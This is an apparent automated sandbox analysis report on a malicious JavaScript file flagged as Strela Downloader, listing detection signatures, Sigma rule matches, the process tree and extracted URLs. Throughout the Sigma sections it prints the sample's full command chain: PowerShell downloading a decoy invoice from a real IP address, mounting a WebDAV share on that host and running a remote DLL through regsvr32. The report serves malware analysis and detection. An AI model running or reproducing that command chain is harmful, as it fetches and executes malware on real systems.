Edit tour

Windows Analysis Report
241721637114311605.js

Overview

General Information

Sample name:	241721637114311605.js
Analysis ID:	1587860
MD5:	f46b8beb11932806ff8fda0a1d5cce28
SHA1:	0cdc831989d4efd06187b941eb075722ec4664aa
SHA256:	e7f4c8170171f7facc536f46c45a03882743e63d40719e3e94868e14bf952bc6
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7424 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7472 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7524 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7732 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7944 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8136 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1660,i,6968258112608186707,14990451332937064889,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7808 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7852 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8012 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7424	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7524, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7524, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js", ProcessId: 7424, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, ProcessId: 7472, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, ProcessId: 7472, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, ProcessId: 7472, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, ProcessId: 7472, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, ProcessId: 7472, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js", ProcessId: 7424, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7524, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7808, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7852, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8012, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7808, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7852, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7424, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll, ProcessId: 7472, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 241721637114311605.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 241721637114311605.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1676746782.000002A04227E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1679111168.000002A043FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1735360004.000001DCEABD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1736456944.000001DCEABD0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1735360004.000001DCEABD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/P
Source: net.exe, 00000006.00000002.1736456944.000001DCEABD0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1735360004.000001DCEABD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/l
Source: net.exe, 00000006.00000002.1736239349.000001DCEAB98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/spaceB
Source: svchost.exe, 00000008.00000002.2961139091.000001C96CAC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1734979898.000001C972018000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1734979898.000001C972018000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1734979898.000001C972018000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1734979898.000001C97204D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1734979898.000001C9720C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1734979898.000001C9720C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1734979898.000001C9720C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7424, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 241721637114311605.js

Initial sample: Strings found which are bigger than 50

